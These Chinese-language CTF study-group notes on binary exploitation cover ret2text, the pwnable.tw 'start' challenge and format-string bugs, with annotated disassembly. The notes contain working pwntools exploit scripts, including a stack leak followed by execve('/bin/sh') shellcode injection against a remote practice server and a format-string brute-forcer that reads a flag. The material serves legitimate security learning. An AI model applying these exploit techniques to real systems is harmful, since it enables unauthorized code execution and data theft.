# NCtfU讀書會筆記-Pwn
###### tags: `CTF`
## 3/9 - Basic
https://drive.google.com/open?id=14VE-uwBXCnAvMhGH7NKVTTPqhTDZLGUM
1. ret2text
- objdump -M intel -d ret2text 看組語
-> 呼叫了gets,因此有buffer overflow的漏洞

- 往上看還有一個function叫sh,因此目標就是把ret addr改到這裡

- 但要注意system有0x10 alignment的問題
(也就是到call system時如果rsp不是指向0結尾就會無法執行)
(原因是正常來說透過call system(=push rip)跳過來的話,stack會先多了rip,此時再push rbp,總共push了0x10個byte,但現在不是透過call system跳過來的,但還是執行了push rbp,stack變成只會多0x8個byte,變成不是0結尾)
```python=
#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
r = process('./ret2text')
sh = 0x4006e8
padding = 'a'*18
# 0x10 alignment -> 跳過push rbp的動作
r.sendline(padding + p64(sh+0x1))
#r.sendline(padding + p64(sh) + p64(sh))
r.interactive()
```
2. 小技巧講解:
- 如果執行檔有計時器(ex alarm(3)),可以用把alarm改成isnan(因為字數一樣,參數type跟數量也一樣)
```
vim: %s/alarm/isnan/g - sed-i s/alarm/isnan/g [elf name] - LD_PRELOAD
# %s :取代/置換功能
```
## 3/23
### 1. pwnable.tw[](https://pwnable.tw/challenge/#1) -- start
- 是一個是一個32bit file,沒有開任何保護機制

- 先執行一次: 可以輸東西,輸太多會segmentation fault,一臉欠buffer overflow

- objdump看一下:
```c=
Disassembly of section .text:
08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
804806e: 68 43 54 46 3a push 0x3a465443 #string of "CTF:"
8048073: 68 74 68 65 20 push 0x20656874 #string of "the "
8048078: 68 61 72 74 20 push 0x20747261 #string of "art "
804807d: 68 73 20 73 74 push 0x74732073 #string of "s st"
8048082: 68 4c 65 74 27 push 0x2774654c #string of "Let'"
8048087: 89 e1 mov ecx,esp
8048089: b2 14 mov dl,0x14
804808b: b3 01 mov bl,0x1
804808d: b0 04 mov al,0x4
804808f: cd 80 int 0x80
8048091: 31 db xor ebx,ebx
8048093: b2 3c mov dl,0x3c
8048095: b0 03 mov al,0x3
8048097: cd 80 int 0x80
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax
80480a1: cd 80 int 0x80
```
:::info
x86 system call的calling convention:
1. eax放system call number
2. 參數依序放在以下暫存器: ebx, ecx, edx, esi, edi, ebp
:::
- 執行到第14行時的stack長這樣

- 第15-19行是呼叫syscall write(eax=0x4)
`Note: write(int fd, const void *buf, size_t count)`
=> sys_write( 0x1, esp, 0x14)
- 第20-23行是呼叫syscall read(eax=0x3)
`Note: read(int fd, void *buf, size_t count)`
=> sys_read(0, esp, 0x3c) =>最多可以寫0x3c=60byte
:::info
因此可以知道程式執行流程:
1. print出在stack上的0x14(20byte)(Let's start the CTF:)
2. read user輸入(可以overflow)
3. ret並結束執行
:::
- 所以為了達成overflow,需要放shellcode在stack上,並把ret addr蓋成shellcode位置
問題是因為題目有開ASLR(大概),stack每次執行位置都不同
需要leak stack才可以知道ret addr應該改成甚麼
:::success
因此我們要讓執行流程變成這樣:
1. print出Let's start the CTF:
2. read(0,esp, 0x3c)
=> payload1 = 20byte junk + 第15行mov ecx, esp的addr=0x8048087
3. add esp, 0x14 => esp + 0x14指到old_esp
4. 回到第15行
5. write(0, esp, 0x14)
=> leak出old_esp
6. read(0, esp, 0x3c)
=> 輸入20byte junk + (old_esp+0x14) + shellcode
7. esp' = esp + 0x14
8. ret = pop eip = old_esp+0x14
9. 執行shellcode get shell

:::
- exploit.py
```python=
from pwn import *
context.arch = 'i386'
r = remote("chall.pwnable.tw", 10000)
#r = process("/home/minyeon/CTF/pwnable.tw/start")
#gdb.attach(r)
r.recvuntil(':')
sh = asm(shellcraft.execve('/bin/sh'))
#sh = shellcraft.sh()
#這個會失敗因為太肥,read只讀60byte不夠
payload1 = flat('a'*0x14, 0x8048087)
r.send(payload1)
old_esp = u32(r.recv(4))
print("Leaked esp: ", hex(old_esp))
ret_addr = old_esp + 0x14
print("return address: ", hex(ret_addr))
payload2 = flat('a'*0x14, ret_addr, sh)
print(payload2)
r.send(payload2)
r.interactive()
```
## 5/18 Format string
- 所有printf家族都有這個漏洞(ex. sprintf, snprintf, fprintf,...)
- 發生在把變數直接丟進printf裡面執行,造成任意讀寫漏洞
```c=
Ex.
int a, b, c
1. 正常的printf
printf("%p %p %p", &a, &b, &c )
2. 有漏洞的printf -> 故意不給參數
printf("%p %p %p")
```
- Ex.
```c=
#include<stdio.h>
void main(){
int a, b, c;
printf("General printf : %p %p %p\n", &a, &b, &c);
printf("FMT printf :\n\trsi : %p\n\trdx : %p\n\trcx : %p\n\tr8 : %p\n\tr9 : %p\n\trsp : %p\n\trsp+8 : %p\n");
printf("8th parameter : %7$p\n");
printf("dword of 8th para: %7$x\n"); // %x:4 byte
printf("word of 8th para: %7$hx\n"); // h : half
printf("byte of 8th para: %7$hhx\n");
}
```

- 練習題: picoCTF echo
1. 先看assembly, 用fget所以沒有bof漏洞
```python=
80486c9: 68 5f 88 04 08 push 0x804885f # x/s 0x804885f > 'r'
80486ce: 68 61 88 04 08 push 0x8048861 # x/s 0x8048861 > 'flag.txt'
80486d3: e8 e8 fd ff ff call 80484c0 <fopen@plt>
80486d8: 83 c4 10 add esp,0x10
80486db: 89 85 70 ff ff ff mov DWORD PTR [ebp-0x90], # flag.txt的fd放在ebp-0x90
80486e1: 83 bd 70 ff ff ff 00 cmp DWORD PTR [ebp-0x90],0x0
80486e8: 75 1a jne 8048704 <main+0x109>
80486ea: 83 ec 0c sub esp,0xc
80486ed: 68 6c 88 04 08 push 0x804886c
80486f2: e8 89 fd ff ff call 8048480 <puts@plt>
80486f7: 83 c4 10 add esp,0x10
80486fa: 83 ec 0c sub esp,0xc
80486fd: 6a 00 push 0x0
80486ff: e8 8c fd ff ff call 8048490 <exit@plt>
8048704: 83 ec 04 sub esp,0x4
8048707: ff b5 70 ff ff ff push DWORD PTR [ebp-0x90]
804870d: 6a 40 push 0x40
804870f: 8d 45 b4 lea eax,[ebp-0x4c]
8048712: 50 push eax
8048713: e8 48 fd ff ff call 8048460 <fgets@plt> # fget(var_name=ebp-0x4c, size=0x40, fd=ebp-0x90)
8048718: 83 c4 10 add esp,0x10
804871b: 83 ec 0c sub esp,0xc
804871e: 68 e1 88 04 08 push 0x80488e1
8048723: e8 28 fd ff ff call 8048450 <printf@plt>
8048728: 83 c4 10 add esp,0x10
804872b: a1 40 a0 04 08 mov eax,ds:0x804a040
8048730: 83 ec 04 sub esp,0x4
8048733: 50 push eax
8048734: 6a 40 push 0x40
8048736: 8d 85 74 ff ff ff lea eax,[ebp-0x8c]
804873c: 50 push eax
804873d: e8 1e fd ff ff call 8048460 <fgets@plt> # fget(ebp-0x8c, 0x40, stdin)
8048742: 83 c4 10 add esp,0x10
8048745: 83 ec 0c sub esp,0xc
8048748: 8d 85 74 ff ff ff lea eax,[ebp-0x8c]
804874e: 50 push eax
804874f: e8 fc fc ff ff call 8048450 <printf@plt> # printf(ebp-0x8c) >> fmt vul!!!!
```
2. 執行看看 >> 真的有fmt漏洞

3. 寫個python script來一個一個試
```python=
from pwn import *
for i in range(10):
r = remote("2018shell.picoctf.com", 34802)
r.recvuntil(">")
r.sendline("%{}$s".format(i))
s = r.recvline()
if 'pico' in s: #這邊如果用python3會錯,因為recvline讀出來是byte like object,無法跟str做比較
print(s)
break
```
4. 用python2執行

- 把可控的memory address放在開頭就可以對任何可控位置做任意讀寫
```c=
printf("/x78/x56/x34/x12")
```